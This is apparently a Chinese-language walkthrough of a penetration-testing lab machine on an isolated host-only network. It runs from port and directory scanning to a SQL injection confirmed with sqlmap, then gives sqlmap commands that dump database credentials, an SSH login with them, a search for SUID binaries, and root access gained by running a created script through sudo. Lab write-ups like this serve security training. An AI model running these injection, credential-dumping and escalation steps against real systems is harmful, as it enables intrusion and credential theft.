靶机静态ip为192.168.1.120
设置靶机和kali都为仅主机模式
端口扫描 查看开放的全端口
访问80端口
目录扫描 没发现有用信息
在页面上的功能点进行测试,尝试sql注入 使用sqlmap验证,发现存在sql注入
爆破当前数据库名,表名,字段,获取密码
python sqlmap.py -u http://192.168.1.120/products.php?id=1 --dbs
python sqlmap.py -u http://192.168.1.120/products.php?id=1 -D mysql -T user -C User,Password --dump
得到账号密码后,ssh连接
ssh -oHostKeyAlgorithms=+ssh-rsa ccoffee@192.168.1.120
利用suid提权
查找具有 SUID 权限的所有二进制文件
find / -perm -u=s -type f 2>/dev/null
移动到/home/ccoffee/scripts/目录下
创建一个新的getlogs.sh文件以生成 shell
sudo /home/ccoffee/scripts/getlogs.sh 执行文件
提权成功